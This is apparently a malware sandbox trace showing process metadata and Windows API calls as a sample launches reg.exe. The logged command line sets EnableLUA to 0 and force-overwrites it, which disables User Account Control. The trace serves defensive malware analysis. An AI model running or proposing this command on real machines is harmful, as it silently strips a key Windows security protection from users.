	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 15
	os_tid = 0x67c


Thread:
	id = 16
	os_tid = 0xa74


Thread:
	id = 17
	os_tid = 0xd80


Thread:
	id = 20
	os_tid = 0xdbc


Thread:
	id = 21
	os_tid = 0xdd0


Process:
	id = "6"
	image_name = "reg.exe"
	filename = "c:\\windows\\system32\\reg.exe"
	page_root = "0xa168000"
	os_pid = "0xabc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x116c"
	cmd_line = "reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 18
	os_tid = 0xab0

	[0063.477] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff62b3e0000
	[0063.477] __set_app_type (_Type=0x1) 
	[0063.477] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62b3ee1f0) returned 0x0
	[0063.477] __wgetmainargs (in: _Argc=0x7ff62b3f2048, _Argv=0x7ff62b3f2050, _Env=0x7ff62b3f2058, _DoWildCard=0, _StartInfo=0x7ff62b3f2064 | out: _Argc=0x7ff62b3f2048, _Argv=0x7ff62b3f2050, _Env=0x7ff62b3f2058) returned 0
	[0063.477] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1
	[0063.480] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0063.480] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0xd796abfc18 | out: phkResult=0xd796abfc18*=0x0) returned 0x2
	[0063.481] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0063.481] lstrlenW (lpString="-?|/?|-h|/h") returned 11
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x18) returned 0x292ed2f2ef0
	[0063.481] lstrlenW (lpString="") returned 0
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x2) returned 0x292ed2f4110
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f4130
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x18) returned 0x292ed2f5170
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f5190
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f51c0
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f51f0
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f4960
	[0063.481] GetProcessHeap () returned 0x292ed2f0000
	[0063.481] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x18) returned 0x292ed2f4990
	[0063.482] GetProcessHeap () returned 0x292ed2f0000
	[0063.482] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f49b0
	[0063.482] GetProcessHeap () returned 0x292ed2f0000
	[0063.482] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f9200
	[0063.482] GetProcessHeap () returned 0x292ed2f0000
	[0063.482] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f92f0
	[0063.483] GetProcessHeap () returned 0x292ed2f0000
	[0063.483] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f9050
	[0063.483] GetProcessHeap () returned 0x292ed2f0000
	[0063.483] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x18) returned 0x292ed2f49e0
	[0063.483] GetProcessHeap () returned 0x292ed2f0000
	[0063.483] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f9260
	[0063.483] GetProcessHeap () returned 0x292ed2f0000
	[0063.483] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f9350
	[0063.483] GetProcessHeap () returned 0x292ed2f0000
	[0063.483] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f91d0
	[0063.483] GetProcessHeap () returned 0x292ed2f0000
	[0063.483] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f9230
	[0063.483] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0063.503] GetProcessHeap () returned 0x292ed2f0000
	[0063.503] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x18) returned 0x292ed2f29d0
	[0063.503] _memicmp (_Buf1=0x292ed2f29d0, _Buf2=0x7ff62b3f01c8, _Size=0x7) returned 0
	[0063.503] GetProcessHeap () returned 0x292ed2f0000
	[0063.503] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x1e) returned 0x292ed2f90b0
	[0063.503] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0063.503] GetProcessHeap () returned 0x292ed2f0000
	[0063.503] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x18) returned 0x292ed2f50d0
	[0063.503] _memicmp (_Buf1=0x292ed2f50d0, _Buf2=0x7ff62b3f01c8, _Size=0x7) returned 0
	[0063.503] GetProcessHeap () returned 0x292ed2f0000
	[0063.504] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x84) returned 0x292ed2f4870
	[0063.504] _vsnwprintf (in: _Buffer=0x292ed2f90b0, _BufferCount=0xe, _Format="|%s|", _ArgList=0xd796abfa58 | out: _Buffer="|-?|/?|-h|/h|") returned 13
	[0063.504] _vsnwprintf (in: _Buffer=0x292ed2f4870, _BufferCount=0x41, _Format="|%s|", _ArgList=0xd796abfa58 | out: _Buffer="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64
	[0063.504] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13
	[0063.504] lstrlenW (lpString="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64
	[0063.504] RtlRestoreLastWin32Error () returned 0xd796dc7000
	[0063.504] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0063.504] GetProcessHeap () returned 0x292ed2f0000
	[0063.504] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x7e) returned 0x292ed2f3e50
	[0063.504] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0063.504] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0063.505] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0063.506] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0
	[0063.506] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0063.506] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3
	[0063.506] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0063.506] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0063.506] StrChrIW (lpStart="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
	[0063.507] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19
	[0063.507] GetProcessHeap () returned 0x292ed2f0000
	[0063.507] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x28) returned 0x292ed2f9290
	[0063.507] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3
	[0063.507] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 3
	[0063.507] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCR", cchCount2=-1) returned 3
	[0063.507] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CLASSES_ROOT", cchCount2=-1) returned 3
	[0063.507] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCC", cchCount2=-1) returned 3
	[0063.507] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_CONFIG", cchCount2=-1) returned 3
	[0063.507] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKLM", cchCount2=-1) returned 2
	[0063.507] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.507] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.507] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.507] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
	[0063.507] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.507] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Policies\\System"
	[0063.508] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.508] StrChrIW (lpStart="Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\CurrentVersion\\Policies\\System"
	[0063.508] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.508] StrChrIW (lpStart="CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Policies\\System"
	[0063.508] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.508] StrChrIW (lpStart="Policies\\System", wMatch=0x5c) returned="\\System"
	[0063.508] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.508] StrChrIW (lpStart="System", wMatch=0x5c) returned 0x0
	[0063.508] RtlRestoreLastWin32Error () returned 0xd796dc7000
	[0063.508] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.508] RtlRestoreLastWin32Error () returned 0xd796dc7000
	[0063.508] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x74) returned 0x292ed2f4610
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0xa0) returned 0x292ed2f4190
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9290) returned 1
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9290) returned 0x28
	[0063.508] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9290) returned 1
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f3e50) returned 1
	[0063.508] GetProcessHeap () returned 0x292ed2f0000
	[0063.508] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f3e50) returned 0x7e
	[0063.508] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f3e50) returned 1
	[0063.509] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2
	[0063.509] lstrlenW (lpString="EnableLUA") returned 9
	[0063.509] GetProcessHeap () returned 0x292ed2f0000
	[0063.509] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x14) returned 0x292ed2f50f0
	[0063.509] lstrlenW (lpString="EnableLUA") returned 9
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0063.509] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0063.509] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0063.509] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0063.509] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0063.510] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0063.510] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2
	[0063.510] StrDupW (lpSrch="REG_DWORD") returned="REG_DWORD"
	[0063.510] lstrlenW (lpString="REG_DWORD") returned 9
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0063.511] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_EXPAND_SZ", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_MULTI_SZ", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_BINARY", cchCount2=-1) returned 3
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_DWORD", cchCount2=-1) returned 2
	[0063.511] LocalFree (hMem=0x292ed2f4900) returned 0x0
	[0063.511] RtlRestoreLastWin32Error () returned 0xd796dc7000
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2
	[0063.511] lstrlenW (lpString="0") returned 1
	[0063.511] GetProcessHeap () returned 0x292ed2f0000
	[0063.511] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x4) returned 0x292ed2f4900
	[0063.511] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0063.512] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2
	[0063.512] RtlRestoreLastWin32Error () returned 0xd796dc7000
	[0063.512] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2920002001f, lpSecurityAttributes=0x0, phkResult=0xd796abfb30, lpdwDisposition=0xd796abfb48 | out: phkResult=0xd796abfb30*=0x94, lpdwDisposition=0xd796abfb48*=0x2) returned 0x0
	[0063.512] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0063.512] GetProcessHeap () returned 0x292ed2f0000
	[0063.512] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f9320
	[0063.512] GetProcessHeap () returned 0x292ed2f0000
	[0063.512] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x20) returned 0x292ed2f9140
	[0063.512] GetProcessHeap () returned 0x292ed2f0000
	[0063.512] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x18) returned 0x292ed2f4240
	[0063.512] _memicmp (_Buf1=0x292ed2f4240, _Buf2=0x7ff62b3f01c8, _Size=0x7) returned 0
	[0063.512] GetProcessHeap () returned 0x292ed2f0000
	[0063.513] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x200) returned 0x292ed2f9e90
	[0063.513] LoadStringW (in: hInstance=0x0, uID=0xca, lpBuffer=0x292ed2f9e90, cchBufferMax=256 | out: lpBuffer="Value %s exists, overwrite(Yes/No)? ") returned 0x24
	[0063.514] lstrlenW (lpString="Value %s exists, overwrite(Yes/No)? ") returned 36
	[0063.514] GetProcessHeap () returned 0x292ed2f0000
	[0063.514] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x4a) returned 0x292ed2f3e50
	[0063.514] _memicmp (_Buf1=0x292ed2f4240, _Buf2=0x7ff62b3f01c8, _Size=0x7) returned 0
	[0063.514] LoadStringW (in: hInstance=0x0, uID=0xce, lpBuffer=0x292ed2f9e90, cchBufferMax=256 | out: lpBuffer="YNA") returned 0x3
	[0063.514] lstrlenW (lpString="YNA") returned 3
	[0063.514] GetProcessHeap () returned 0x292ed2f0000
	[0063.514] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x8) returned 0x292ed2f3eb0
	[0063.514] GetThreadLocale () returned 0x409
	[0063.514] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="0", cchCount1=2, lpString2="0x", cchCount2=2) returned 1
